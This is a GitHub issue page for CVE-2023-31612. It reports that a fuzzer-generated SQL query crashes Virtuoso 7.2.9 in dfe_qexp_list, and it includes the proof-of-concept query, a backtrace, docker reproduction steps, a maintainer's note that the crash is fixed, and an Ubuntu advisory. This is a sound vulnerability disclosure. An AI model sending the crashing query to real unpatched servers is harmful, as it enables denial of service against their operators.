Headline
CVE-2023-31612: virtuoso 7.2.9 crashed at dfe_qexp_list · Issue #1125 · openlink/virtuoso-opensource
An issue in the dfe_qexp_list component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Closed
fuboat opened this issue
Apr 12, 2023
· 1 comment
Closed
virtuoso 7.2.9 crashed at dfe_qexp_list #1125
fuboat opened this issue
Apr 12, 2023
· 1 comment
Comments
The PoC is generated by my DBMS fuzzer.
CREATE TABLE t1 ( x VARCHAR, y VARCHAR );
SELECT IFNULL(MIN(x), -1), IFNULL(MAX(x), -1) FROM ( SELECT x FROM t1 UNION ALL SELECT NULL ) AS temp;
backtrace:
#0 0x737010 (dfe_qexp_list+0x40) #1 0x73711d (dfe_qexp_list+0x14d) #2 0x7474c9 (dfe_union_dfe+0xc9) #3 0x747878 (sqlg_set_ts_order+0x198) #4 0x747efd (sqlg_top_1+0xed) #5 0x70d4d4 (sqlo_top_select+0x164) #6 0x6b72bf (sql_stmt_comp+0x8bf) #7 0x6ba122 (sql_compile_1+0x1a62) #8 0x7c8cd0 (stmt_set_query+0x340) #9 0x7cabc2 (sf_sql_execute+0x922) #10 0x7cbf4e (sf_sql_execute_w+0x17e) #11 0x7d4c0d (sf_sql_execute_wrapper+0x3d) #12 0xe1f01c (future_wrapper+0x3fc) #13 0xe2691e (_thread_boot+0x11e) #14 0x7f460b246609 (start_thread+0xd9) #15 0x7f460b016133 (clone+0x43)
ways to reproduce (write poc to the file ‘/tmp/test.sql’ first):
remove the old one
docker container rm virtdb_test -f
start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
wait the server starting
sleep 10
check whether the simple query works
echo “SELECT 1;” | docker exec -i virtdb_test isql 1111 dba
run the poc
docker exec -i virtdb_test isql 1111 dba < “/tmp/test.sql”
This crash has been fixed by some of the patches we committed recently.
2 participants
Related news
Ubuntu Security Notice 6832-1 - Jingzhou Fu discovered that Virtuoso Open-Source Edition incorrectly handled certain crafted SQL statements. An attacker could possibly use this issue to crash the program, resulting in a denial of service. Jingzhou Fu discovered that Virtuoso Open-Source Edition incorrectly handled certain crafted SQL statements. An attacker could possibly use this issue to crash the program, resulting in a denial of service. This issue only affects Ubuntu 22.04 LTS, Ubuntu 23.10 and Ubuntu 24.04 LTS.